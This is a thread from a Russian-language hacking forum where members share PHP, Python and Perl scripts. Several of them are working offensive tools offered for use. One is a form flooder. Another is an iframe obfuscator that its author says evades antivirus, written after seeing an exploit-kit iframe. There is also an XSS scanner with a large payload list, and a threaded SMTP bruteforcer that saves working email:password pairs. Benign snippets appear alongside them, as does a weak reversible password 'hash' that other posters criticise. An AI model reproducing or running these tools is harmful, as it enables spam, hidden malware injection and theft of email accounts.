Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. [aCR]RASSVET

    [aCR]RASSVET New Member

    Joined:
    27 Apr 2008
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    Скрипт сбора информации о пользователе.
    Code:
    <script type="text/javascript">  
    var browserId = '', b_id1 = '', b_id2 = '', userInf = '';  
    </script>  
    <script type="text/javascript">  
    var jsversion = '';  
    for (var i = 1; i < 10; i++) document.write('<' + 'script language="javascript1.' + i + '">jsversion = "' + i + '";<' + '/script>');  
    b_id1 += jsversion + ''; var b_chk = 'A';  
    </script>  
    <script type="text/vbscript">b_chk = "B"</script>  
    <script type="text/javascript">  
    b_id1 += b_chk; b_chk = 'B';  
    try {delete this} catch (E) {b_chk = 'A'}  
    b_id1 += b_chk; b_chk = 'B';  
    try {delete navigator} catch (E) {b_chk = 'A'}  
    b_id1 += b_chk; b_chk = '0';  
    if (typeof Window == 'function') {if (window instanceof Window) {b_chk = '1';}}  
    b_id1 += b_chk; b_chk = '0';  
    if (typeof Document == 'function') {if (document instanceof Document) {b_chk = '1'}}  
    b_id1 += b_chk; b_chk = '0';  
    if (typeof Navigator == 'function') {if (navigator instanceof Navigator) {b_chk = '1'}}  
    b_id1 += b_chk; b_chk = 'B';  
    try {var docwrite = document.write; docwrite('')} catch (E) {b_chk = 'A'}  
    b_id1 += b_chk;  
    b_chk = 'A';  
    try {eval('cons'+'t acons=true');} catch(e) {b_chk = 'B'}  
    b_id1 += b_chk;  
    </script>  
    <script type="text/javascript">  
    if (window.crypto) {if (window.crypto.alert) {b_id1 = b_id1 + '1'}} else {b_id1 = b_id1 + '0'}  
    </script>  
    <script type="text/javascript">  
    if (typeof window.onload == "function") {  
    var chkonload = window.onload.toString();  
    var isonloadanonymous = (chkonload.search('anonymous') != -1);  
    if (isonloadanonymous) {b_id1 += '2'} else {b_id1 += '1'}  
    } else {b_id1 += '0'}  
    var actxobj = (typeof ActiveXObject == "function") ? 'B' : 'A';  
    var gactxobj = (typeof GeckoActiveXObject == "function") ? 'A' : 'B';  
    b_id1 += actxobj + gactxobj;  
    </script>  
    <script type="text/javascript">  
    var dopBrowserInfo = new function (ie) {  
    var d = document, w = window;  
    this.ff = !!w.Iterator && !!d.addEventListener && /a/[-1] == 'a';  
    this.ff2 = this.ff && (function x(){})[-6] == 'x';  
    this.ff3 = !!d.getElementsByClassName && this.ff && (function x(){})[-5] == 'x';  
    this.ie = (ie && '\v' == 'v');  
    this.ie5 = this.ie && ie == 5;  
    this.ie6 = this.ie && (ie == 6 || (d.compatMode && d.all && !!d.readyState));  
    this.ie7 = this.ie && (ie == 7 && d.documentElement && typeof d.documentElement.style.maxHeight != "undefined");  
    this.ie8 = this.ie && (ie == 8 && !!d.querySelectorAll);  
    this.safari = /a/.__proto__ == '//';  
    this.chrome = /source/.test((/a/.toString + ''));  
    this.opera = (!ie && !!w.opera && w.opera.toString() === "[object Opera]" && /^function \(/.test([].sort));  
    var div = d.createElement('div'),  
    body = d.body;  
    div.innerHTML = '<' + 'style' + '>' + '#_t{display:none;}#_t[rel^="D"]{display:block;}' + '<' + '/style' + '>';  
    div.innerHTML += '<span id="_t" rel="Detect"></span>';  
    div.style.display = 'none';  
    body.appendChild(div);  
    var obj = d.getElementById('_t'),  
    stat = w.getComputedStyle ? w.getComputedStyle(obj, null).getPropertyValue("display") : obj.currentStyle ? obj.currentStyle.display : null;  
    this.css3 = (stat == "block");  
    body.removeChild(div);  
    this.result = new String();  
    this.result += (this.ff ? '1' : '0') + (this.ff2 ? '1' : '0') + (this.ff3 ? '1' : '0') + '.';  
    this.result += (this.ie ? '1' : '0') + (this.ie5 ? '1' : '0') + (this.ie6 ? '1' : '0') +  (this.ie7 ? '1' : '0') + (this.ie8 ? '1' : '0') + '.';  
    this.result += (this.safari ? '1' : '0') + (this.chrome ? '1' : '0') + (this.opera ? '1' : '0') + (this.css3 ? '1' : '0');  
    }(0 /*@cc_on + (@_jscript_version * 10 % 10) @*/);  
    b_id2 = dopBrowserInfo.result;  
    delete dopBrowserInfo;  
    </script>  
    <script type="text/javascript">  
    if (window.screen.width && window.screen.height) {  
    userInf += window.screen.width + '*' + window.screen.height;  
    if (window.screen.colorDepth) userInf += '@' + window.screen.colorDepth;  
    } else userInf += 'undefined';  
    if (navigator.systemLanguage) userInf += ' ' + navigator.systemLanguage; else userInf += ' no';  
    if (navigator.browserLanguage) userInf += ' ' + navigator.browserLanguage; else userInf += ' no';  
    if (navigator.userLanguage) userInf += ' ' + navigator.userLanguage; else userInf += ' no';  
    if (navigator.javaEnabled()) userInf += ' yes'; else userInf += ' no';  
    </script>  
    <script type="text/javascript">  
    browserId = b_id1 + ' ' + b_id2 + ' ' + userInf;  
    document.write(browserId);  
    </script>
     
  2. [aCR]RASSVET

    [aCR]RASSVET New Member

    Joined:
    27 Apr 2008
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    Универсальный флудер на PHP.

    PHP:
    <?php
    /*
    * Figaroo Multi-purpose Flooder v1.0
    *
    * Описание: универсальный флудер
    * Требования: разрешение на работу с сокетами
    * Автор - Figaroo, http://figaroo.ru/
    */

    // неограниченное время выполнения скрипта
    set_time_limit(0);

    // настройки
    define('URL''POST http://localhost/poligon/global_flooder/test.php'); // HTTP-метод и URL скрипта, который будем флудить
    define('TIMES'3); // количество сообщений, которых требуется отправить
    define('ANTIFLOOD'5); // время задержки (антифлуда), в секундах
    define('COOKIES''param1=a; param2=b'); // кукисы
    define('REFERER''http://localhost/poligon/global_flooder/test.php'); // реферер
    define('USERAGENT''Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'); // юзер-агент
    define('RNDVAR''<VAR>'); // случайный текст будет подставлен вместо этого

    // данные для отправки методом GET
    // <VAR> будет заменено на случайное значение
    $GET_DATA = array(
        
    'text' => 'Привет всем!',
    );

    // данные для отправки методом POST
    // <VAR> будет заменено на случайное значение
    $POST_DATA = array(
        
    'message' => 'Тест. message =) [<VAR>]',
        
    'test' => '123',
    );

    // флудим
    $count 0// счётчик отправленных сообщений
    $url explode(' 'URL);
    $method $url[0];
    $url parse_url($url[1]);
    if (!@
    $url['port']) $url['port'] = 80;
    $GET_DATA array_function('rnd_var_handl'$GET_DATA);
    $GET_DATA $GET_DATA http_build_query($GET_DATA) : '';
    $POST_DATA array_function('rnd_var_handl'$POST_DATA);
    $POST_DATA $POST_DATA http_build_query($POST_DATA) : '';

    // отправка сообщений в цикле
    for ($i 0$i TIMES$i++) {
        
    $fp = @fsockopen(@$url['host'], @$url['port'], $errno$errstr10);
        if (!
    $fp) continue;
        
    // формируем заголовки запроса:
        
    $req $method." ".@$url['path'].($GET_DATA '?'.$GET_DATA '')." HTTP/1.1\r\n";
        
    $req .= "Host: ".@$url['host']."\r\n";
        if (
    USERAGENT$req .= "User-agent: ".USERAGENT."\r\n";
        if (
    COOKIES$req .= "Cookie: ".COOKIES."\r\n";
        if (
    REFERER$req .= "Referer: ".REFERER."\r\n";
        if (
    $method == "POST") {
            
    $req .= "Content-type: application/x-www-form-urlencoded\r\n";
            
    $req .= "Content-Length: ".strlen($POST_DATA)."\r\n";
        }
        
    // отсылаем запрос
        
    $req .= "\r\n";
        if (
    $method == 'POST'$req .= $POST_DATA;
        
    fwrite($fp$req);
        
    fclose($fp);
        
    $count++;
        
    // ждём $antiflood микросекунд и повторяем цикл
        
    if (ANTIFLOODsleep(ANTIFLOOD 1);
    }

    // замена "случайной" переменной
    function rnd_var_handl ($data) {
        return 
    str_replace(RNDVARmd5(microtime(1)), $data);
    }

    // рекурсивная обработка массивов
    function array_function ($func$array) {
        if (!
    is_array($array)) return call_user_func($func$array);
        foreach (
    $array as $k => $v) {
            if (
    is_array($v)) $array[$k] = array_function($func$v);
            else 
    $array[$k] = call_user_func($func$v);
        }
        return 
    $array;
    }

    ?>
    <html>
    <body>
    <b>Отчёт:</b>

    <ul>
    <li>Отправлено <b><?=$count?></b> <b><?=$method?></b>-запросов из <b><?=TIMES?></b> требуемых;</li>
    <li>Интервал отправки сообщений составил <b><?=ANTIFLOOD?></b> сек.;</li>
    <li>Подключение осуществлялось через <b><?=@$url['host']?>:<?=@$url['port']?></b>;</li>
    <li>Требуемый скрипт: <b><?=@$url['path']?></b>;</li>
    </ul>
    <i>Figaroo Multi-purpose Flooder v1.0</i>

    </body>
    </html>
     
  3. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Проверка статуса ICQ с использованием библиотеки Curl
    Found

    PHP:
    <?php
    class ICQ {
      
     var 
    $crc = array('253889085' => 'offline''1177883536' => 'online''1182613274' => 'hidden');
    //CRCs valid as long as the redirect-page does not change
      
     
    function getCrc($url) {
       
    $ch curl_init();
       
    curl_setopt ($chCURLOPT_URL$url);
       
    curl_setopt ($chCURLOPT_HEADER0);
       
    ob_start();
       
    curl_exec ($ch);
       
    curl_close ($ch);
       
    $cache ob_get_contents();

       
    ob_end_clean();
       
    //print($cache);
       
    return (string)abs(crc32($cache));
     }
      
     function 
    status($number) {
       
    $check $this->getCrc'http://status.icq.com/online.gif?icq=' $number '&img=5');
       if (
    in_array($checkarray_keys($this->crc))) {
         return 
    $this->crc[$check];
       }
       return 
    false;
     }
        
    }
    ?>
     
    1 person likes this.
  4. r00nix

    r00nix Banned

    Joined:
    7 May 2009
    Messages:
    48
    Likes Received:
    20
    Reputations:
    0
    Навеяло

    Серфил как-то по тырнету, нарвался на чей-то ифрейм, ведущий на связку. Показал знакомому, его KIS9 проглотил и даже не подавился. Захотелось написать что-то подобное. Писал на скорую руку, посему реализация хромает в паре мест.
    PHP:
    <?PHP
    srand
    ();
    function 
    rvn()
        {
        
    $i=rand(4,6);
        while (
    strlen($a)<$i)
            
    $a.=chr(rand(97,122));
        return 
    $a;
        }

    function 
    gen_iframe($iframe)
        {
        
    $var_names= array(rvn(),rvn(),rvn(),rvn(),rvn(),rvn());
        
    $xor=rand(40,100);
        if (isset(
    $iframe) && $iframe!="")
            {
            
    $vxod="document.write(\"$iframe\")";
            for (
    $i=0;$i<strlen($vxod);$i++)
                
    $a.=(ord(substr($vxod,$i,1))^$xor).",";
            echo 
    "<script>$var_names[0]=new Array(".substr($a,0,strlen($a)-1).");$var_names[1]=\"\";$var_names[2]=$xor;$var_names[3]=eval;$var_names[4]=String.fromCharCode;for($var_names[5] in $var_names[0])$var_names[1]+=$var_names[4](".$var_names[0]."[".$var_names[5]."]^$var_names[2]);$var_names[3]($var_names[1]);</script>\n";
            }
        else echo 
    "Input any text into ^^^these^^^ box and press the button.\n";
        }
    ?>
    <html>
    <head>
    <title>Mini-JSobfuscator</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    </head>
    <body>
    <form method="post">
    <table width="40%"  border="0" align="center">
    <tr>
    <td width="26%"><div align="center">Code:</div></td>
    </tr>
    <tr>
    <td><div align="center"><input name="text" value="<? echo htmlspecialchars(stripslashes($_POST[text]));?>" type="text" size="80%"></div></td>
    </tr>
    <tr>
    <td colspan="3" nowrap><hr></td>
    </tr>
    <tr>
    <td><div align="center">
    <textarea readonly="true" ROWS=8 COLS=70><? @gen_iframe($_POST[text]);?></textarea>
    </div>
    </td>
    </tr>
    <tr>
    <td><div align="right">
    <input type="submit" value="Obfuscate">
    </div></td>
    </tr>
    </table>
    </form>
    <br>
    </body>
    </html>
    Многие антивирусы просто не замечают переобъявления функций в JS.
     
    4 people like this.
  5. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    2-е простые функции для за/расшифровки паролей.
    Писал для своего блога т.к. хранить пасы в чистом виде - небезопасно.
    Алгоритм действий :
    1. base64_encode;
    2. убираем "=" ,чтоб не спалили;
    3. добавляем base64_encode первых 3-х символов;
    4. Переворачиваем.
    функии:
    PHP:
    function code($pass)
    {
    $hash=base64_encode($pass);
    $hash=str_replace('=','',$hash);
    $center=base64_encode(substr($hash,0,3));
    $center=str_replace('=','',$center);
    $count=strlen($hash);
    $cn=round($count/2);
    $first=substr($hash,0,$cn);
    $second=substr($hash,$cn,$count);
    $hash=$first.$center.$second;
    $hash=strrev($hash);
    return 
    $hash;
    }

    function 
    decode($pass)
    {
    $pass=strrev($pass);
    $count=(strlen($pass))-4;
    $cn=round($count/2);
    $first=substr($pass,0,$cn);
    $second=substr($pass,$cn+4,$count+4);
    $pass=$first.$second;
    $pass=$pass.'==';
    $hash=base64_decode($pass);
    return 
    $hash;
    }
    релиз:
    PHP:
     <html>

    <head>
      <title>приветы от liga</title>
    <style>
    body{
        background:#333;
        color:#888;
        font-family:Verdana, Arial;
        font-size:11px;
        padding:0px;
        margin:0px;
        }
     .form {
         background:#232323;
         color:#626262;
         border:1px solid #4e4e4e;
          padding:2px;
          color:#999;
          font-family:Verdana, Arial;
          font-size:11px;
          font-color:green;
          color:#727272;
          }
     h2{
         font-size:11px;
         padding:0px 0px;
         color:#777;
         font-size:18px;
         font-weight:200;
         text-align:center;
         }
    </style>
    </head>
    <body bgcolor="black">
    <center><h2>[Code-decodE]</h2></center>
    &nbsp;1. base64_encode; <br/>
    &nbsp;2. убирает "=" ,чтоб не спалили;<br/>
    &nbsp;3. добавляет  base64_encode первых 3-х символов; <br/>
    &nbsp;4. Переворачивае.</br>
    <pre>
    <?php

    if($_POST['do'] and $_POST['text']){
    $text=trim($_POST['text']);


    }



    function 
    code($pass)
    {
    $hash=base64_encode($pass);
    $hash=str_replace('=','',$hash);
    $center=base64_encode(substr($hash,0,3));
    $center=str_replace('=','',$center);
    $count=strlen($hash);
    $cn=round($count/2);
    $first=substr($hash,0,$cn);
    $second=substr($hash,$cn,$count);
    $hash=$first.$center.$second;
    $hash=strrev($hash);
    return 
    $hash;
    }

    function 
    decode($pass)
    {
    $pass=strrev($pass);
    $count=(strlen($pass))-4;
    $cn=round($count/2);
    $first=substr($pass,0,$cn);
    $second=substr($pass,$cn+4,$count+4);
    $pass=$first.$second;
    $pass=$pass.'==';
    $hash=base64_decode($pass);
    return 
    $hash;
    }
    if(
    strlen($text)<=3){
        echo 
    '<script>alert("strlen(',$text,')<=3")</script>';
        
    $hash='пусто';
        }

     if(!
    $hash)
    {
        
    $hash='пусто';
    }

    switch ( 
    $_REQUEST['ctype']) {
       case 
    0:
       
    $hash=code($text);
     break;

     case 
    1:
     
    $hash=$text;
    break;
      }
    echo 
    '&nbsp;зашифрованный пасс:   <font color="green">'$hash,'</font>';
    echo 
    '<br/>&nbsp;расшифрованный пасс:  <font color="green">',decode($hash),'</font>';
    ?>
    <form name="" action="" method="post">

    &nbsp;<input  name='ctype' type="radio" value="0" checked>[зашифровать]<input  name='ctype' type="radio" value="1" checked>[расшифровать]
    &nbsp;<input class="form" name="text" type="text" value=""><input class="form" name="do" type="submit" style="height:17px;" value="do it">
    </form>
    </pre>
    </body>
    </html>
     
    #885 L I G A, 9 Oct 2009
    Last edited: 9 Oct 2009
    2 people like this.
  6. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    L I G A
    а смысл от них? мд5 хотябы нельзя расшифровать, а твой "хэш" если хацкер получит алгоритм то спокойно расшифрует и ты подставиш всех пользователей зареганых у тебя.
     
    1 person likes this.
  7. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    ну для начала его надо получить , я не утверждаю что у меня стоит именно такой алгоритм.
    мд5 нельзя сбрутить?
     
    #887 L I G A, 9 Oct 2009
    Last edited: 9 Oct 2009
  8. [Dezzter]

    [Dezzter] Elder - Старейшина

    Joined:
    26 Nov 2007
    Messages:
    182
    Likes Received:
    131
    Reputations:
    3
    а разве можно? :D я думал хешики брутят, а не расшифровывают)
     
  9. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    хеши - брутят , я написал "расшифровуют" т.к. просто именно это слово наиболее понятно подходит по смыслу.
     
    #889 L I G A, 9 Oct 2009
    Last edited: 10 Oct 2009
    1 person likes this.
  10. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Перестаньте придираться к словам, что мешает добавить в функцию еще и для генерации хэша из этого base64 и ложить в БД хэш, или обратно его прогнать таким образом.
     
    3 people like this.
  11. ReduKToR

    ReduKToR Active Member

    Joined:
    5 Jan 2009
    Messages:
    257
    Likes Received:
    179
    Reputations:
    4
    Спс............
    да и врядле ктото при взломе будет искать именно эту тему и именно этот алгоритм
     
  12. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Почитай на досуге что значит "расшифровать" и что значит "сбрутить" и что такое "хэш".
    ИМХО (это значит МОЁ мнение, я его не навязываю) лучше использовать алгоритмы типа мд5 т.к. РАСШИФРОВАТЬ невозможно, возможно сбрутить. А всякие извраты не являются хорошей защитой, т.к. рано или поздно алгоритм твоего "хэширования" может стать известен третьему лицу и тогда можно будет получить ВСЕ пароли, в отличии от мд5 в котором есть возможность брутить хэш а есть возможность и не сбрутить))

    ЗЫ Хэширование - необратимое шифрование.
     
    1 person likes this.
  13. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Данная функция позволяет конвертировать цветное изображение в черно-белое.

    PHP:
    <?php
    function MakeColoursGrey($im,$col){
     
    $total=ImageColorsTotal($im);
     for(
    $i=0;$i<$total;$i++){
       
    $old=ImageColorsForIndex($im,$i);
      
       
    $commongrey=(int)($old[red]+$old[green]+$old[blue])/3;
       if(!
    $col){
        
    ImageColorSet($im,$i,$commongrey,$commongrey,$commongrey);
       }elseif(
    $col==1){
        
    ImageColorSet($im,$i,$commongrey,0,0);
       }elseif(
    $col==2){
        
    ImageColorSet($im,$i,0,$commongrey,0);
       }elseif(
    $col==3){
        
    ImageColorSet($im,$i,0,0,$commongrey);
       }
     }
    }

    $img=imagecreatefromgif($src);

    MakeColoursGrey($img,$col);

    Header("Content-Type: image/gif");

    ImageGif($img);
    ?>
     
  14. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    PHP:
    imagefilter($img,IMG_FILTER_GRAYSCALE);
     
    2 people like this.
  15. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Реализация простого XSS Сканнера на Питоне

    Code:
    #!/usr/bin/python 
    
    import sys, urllib2, re, time, httplib, socket
    
    xss_ploads = ["%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E", 
        "';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>",
        "'';!--\"<XSS>=&{()}",
        "<IMG SRC=\"javascript:alert('XSS');\">",
        "<IMG SRC=javascript:alert('XSS')>",
        "<IMG SRC=JaVaScRiPt:alert('XSS')>",
        "<IMG SRC=javascript:alert(&quot;XSS&quot;)>",
        "<IMG SRC=`javascript:alert(\"is this, 'XSS'\")`>",
        "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
        "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
        "<IMG SRC=javascript:alert('XSS')>",
        "<IMG SRC=\"jav    ascript:alert('XSS');\">",
        "<IMG SRC=\"jav	ascript:alert('XSS');\">",
        "<IMG SRC=\"jav
    ascript:alert('XSS');\">",
        "<IMG SRC=\"jav
    ascript:alert('XSS');\">",
        "perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out",
        "perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out",
        "<IMG SRC=\"   javascript:alert('XSS');\">",
        "<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
        "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
        "<IMG SRC=\"javascript:alert('XSS')\"",
        "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>",
        "\";alert('XSS');//",
        "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>",
        "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">",
        "<BODY BACKGROUND=\"javascript:alert('XSS')\">",
        "<BODY ONLOAD=alert('XSS')>",
        "<IMG DYNSRC=\"javascript:alert('XSS')\">",
        "<IMG LOWSRC=\"javascript:alert('XSS')\">",
        "<BGSOUND SRC=\"javascript:alert('XSS');\">",
        "<BR SIZE=\"&{alert('XSS')}\">",
        "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">",
        "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS",
        "<IMG SRC='vbscript:msgbox(\"XSS\")'>",
        "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">",
        "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">",
        "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
        "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
        "<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
        "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">",
        "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
        "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
        "<DIV STYLE=\"width: expression(alert('XSS'));\">",
        "<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>",
        "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
        "<XSS STYLE=\"xss:expression(alert('XSS'))\">",
        "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
        "<BASE HREF=\"javascript:alert('XSS');//\">",
        "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>",
        "<A HREF=\"http://1113982867/\">XSS</A>",
        "<A HREF=\"http://www.google.com./\">XSS</A>"]
    
    def xss(payload):
        print "Testing:",payload #Comment out if needed
        try:
            if proxy != 0:
                proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
                opener = urllib2.build_opener("http://"+host+payload, proxy_handler)
                source = opener.open("http://"+host+payload).read()
            else:
                source = urllib2.urlopen("http://"+host+payload).read()
            print "Source Length:",len(source) #Comment out if needed
            if re.search("xss", source.lower()) != None: 
                print "\n[!] XSS:",host+payload,"\n"
            else: 
                print "[-] Not Vuln." 
        except(urllib2.HTTPError), msg:
            print "[-] Error:",msg
            pass
    
    print "\nd3hydr8[at]gmail[dot]com XSStest v1.1" 
    print "---------------------------------------" 
     
    if len(sys.argv) not in [2,4]: 
        print "\nUsage: ./xsstest.py <site> <options>"
        print "\t[options]"
        print "\t   -p/-proxy <host:port> : Add proxy support"
        print "ex: ./xsstest.py www.example.com/index.php?page= 20.15.4.76:3128\n"  
        sys.exit(1) 
     
    host = sys.argv[1].replace("http://","") 
    if host[-1:] != "=": 
        print "\n[-] Host should end with a \'=\'\n" 
        sys.exit(1)
        
    try:
        if sys.argv[3]:
            proxy = sys.argv[3]
            print "\n[+] Testing Proxy..."
            h2 = httplib.HTTPConnection(proxy)
            h2.connect()
            print "[+] Proxy:",proxy
    except(socket.timeout):
        print "\n[-] Proxy Timed Out"
        proxy = 0
        pass
    except(NameError):
        print "\n[-] Proxy Not Given"
        proxy = 0
        pass
    except:
        print "\n[-] Proxy Failed"
        proxy = 0
        pass
    print "\n[+] Scanning:",host
    print "[+] Loaded:",len(xss_ploads),"payloads\n"
    for payload in xss_ploads:
        time.sleep(5) #Change this in seconds, if needed
        xss(payload.replace("\n",""))
    print "\n[+] Done\n"
     
    3 people like this.
  16. AVIRA

    AVIRA New Member

    Joined:
    12 Aug 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    кто помможет разобратся?есть скрипт пеереадресации по ключу (слову набор цифр) вот пример скрипта что ставится на редикетном сайте в индекс пхп выше основного кода страницы, ключ в данном случае 888888

    <?
    if(@$_POST['key']=="888888"):
    if(eregi("opera",$_SERVER['HTTP_USER_AGENT'])):
    print '<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <script type="text/javascript">
    window.location = "http://traffadult.com/advpage.php?sub=666";
    </script>
    <meta http-equiv="Expires" content="Thu, Jan 1 1970 00:09:00 GMT">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Cache-Control" content="no-cache">
    <title>ipserf.net</title> </head> <body>
    <a href="http://traffadult.com/advpage.php?sub=666">click me!</a>
    </body></html>';
    exit();
    else:
    Header("Content-type: text/vnd.wap.wml; charset=utf-8");
    echo '<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
    <wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/>
    </head>
    <card id="main">
    <onevent type="onenteforward">
    <go href="http://traffadult.com/advpage.php?sub=666">
    <setvar name="key" value="" />
    </go></onevent></card></wml>';
    exit();
    endif;
    endif;
    ?>


    кто подскажет какая первая часть скрипта которая отправляет данные?очен надо может подскажет кто?
     
  17. PenSpinner

    PenSpinner Member

    Joined:
    9 Dec 2008
    Messages:
    51
    Likes Received:
    5
    Reputations:
    0
    надеюсь здесь можно делать реквесты...так вот, реквестирую скрипт, который удалит из текстового файла все строчки, в которых нет букв ( a-z, A-Z, пустые строчки оставить).
     
    #897 PenSpinner, 21 Oct 2009
    Last edited: 21 Oct 2009
  18. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    SMTP email bruteforce

    Code:
    #!/usr/bin/perl
    use IO::Socket;
    use MIME::base64;
    use threads;
    use threads::shared;
    use Fcntl ':flock';
    ############################
    my $threads = 1;           # Кол-во потоков
    my $acc_file = 'accs.txt'; # Файл с мылами(мыло:пасс)
    my $good = 'good.txt';     # Файл с валидными мылами
    my $acc_delm = ';';        # Разделитель списка мыл
    my $port = 25;             # SMTP порт
    my $timeout = 15;          # Таймаут
    ############################
    system('title SMTP email brute by Gaus');
    my @accs : shared = lf($acc_file);
    threads->new(\&main) for 1 .. $threads;
    $_->join for threads->list;
    sub main
    {
        while(@accs)
        {
            my ($mail, $pass) = split $acc_delm => shift @accs;
            my ($login, $domain) = split '@' => $mail;
            my $passw = MIME::Base64::encode($pass);
            $login = MIME::Base64::encode($login);
            $passw =~ s,\n,,;
            $login =~ s,\n,,;
            my $sock = new IO::Socket::INET(PeerAddr  => 'smtp.'.$domain,
                                            PeerPort  => $port,
                                            PeerProto => 'tcp',
                                            TimeOut   => $timeout);
            sysread $sock, $answ, 1024;
            print $sock "AUTH LOGIN\r\n";
            sysread $sock, $answ, 1024;
            print $sock "$login\r\n";
            sysread $sock, $answ, 1024;
            print $sock "$passw\r\n";
            sysread $sock, $answ, 1024;
            close $sock;
            if($answ =~ m,Authentication succeeded,i)
            {
                print "[ + ] $mail:$pass\n";
                wf($good, "$mail:$pass\n");
            }
            else
            {
                print "[ - ] $mail:$pass\n";
            }
        }
    }
    sub lf
    {
        open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
        chomp(my @data = <$dat>);
        close $dat;
        return @data;
    }
    sub wf
    {
        open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
        flock $dat, LOCK_EX;
        print $dat $_[1];
        flock $dat, LOCK_UN;
        close $dat;
    }
    #(c) Gaus 2009
    Download
     
    2 people like this.
  19. N2kroot

    N2kroot New Member

    Joined:
    25 Oct 2009
    Messages:
    75
    Likes Received:
    3
    Reputations:
    0
    а на php есть такое?
     
  20. Gaus

    Gaus Member

    Joined:
    8 Feb 2009
    Messages:
    136
    Likes Received:
    36
    Reputations:
    3
    Ну наверно есть. Сам перепиши если не найдешь.